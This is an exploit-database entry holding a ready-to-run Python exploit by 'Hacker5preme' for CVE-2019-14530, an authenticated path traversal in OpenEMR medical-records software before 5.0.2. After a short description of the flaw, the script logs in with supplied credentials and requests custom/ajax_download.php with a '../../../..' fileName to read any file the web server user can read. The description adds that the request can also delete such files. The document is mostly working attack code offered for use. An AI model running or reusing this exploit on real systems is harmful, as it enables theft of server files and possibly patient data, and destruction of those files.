OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated)

2021-06-21
ID: 104490
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date 16.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
# Version: All versions prior to 5.0.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-14530
# CWE: CWE-22
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2019-14530-Exploit/README.md
# Reference: https://raw.githubusercontent.com/Wezery/CVE-2019-14530/master/Path%20traversal%20and%20DoS.pdf

'''
Description:
An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter.
An authenticated attacker can download any file (that is readable by the user www-data)
from server storage. If the requested file is writable for the www-data user and the directory
/var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
'''


'''
Banner:
'''
banner = """ 
 
 
 ______     _______     ____   ___  _  ___        _ _  _  ____ _____  ___  
 / ___\ \   / / ____|   |___ \ / _ \/ |/ _ \      / | || || ___|___ / / _ \ 
| |    \ \ / /|  _| _____ __) | | | | | (_) |_____| | || ||___ \ |_ \| | | |
| |___  \ V / | |__|_____/ __/| |_| | |\__, |_____| |__   _|__) |__) | |_| |
 \____|  \_/  |_____|   |_____|\___/|_|  /_/      |_|  |_||____/____/ \___/ 
                        
                                            by Hacker5preme
                                                                            
"""
print(banner)


'''
Import required modules:
'''
import requests
import argparse


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='OpenEMR Path Traversal')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
Filepath = input('[+] Filepath: ')


'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'

# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'new_login_session_management': '1',
    'authProvider': 'Default',
    'authUser': username,
    'clearPass': password,
    'languageChoice': '1'
}

# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
if 'error=1&site=' in auth.text:
    print('[-] Authentication failed')
    exit()
else:
    print('[+] Authentication successfull: ' + str(auth))


'''
Path Traversal:
'''
url_static = 'http://' + target_ip + ':' + target_port + openemr_path
url_dynamic = '/custom/ajax_download.php?fileName=../../../../../../../../..'
url_exploit = url_static + url_dynamic + Filepath
print('')
print('[+] Constructed malicious URL: ')

# Headers:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Exploit:
print('')
print('[+] Contents of ' + Filepath + ':')
print('')
getfile = session.get(url_exploit, headers = header)
print(getfile.text)
1-4-2 (www02)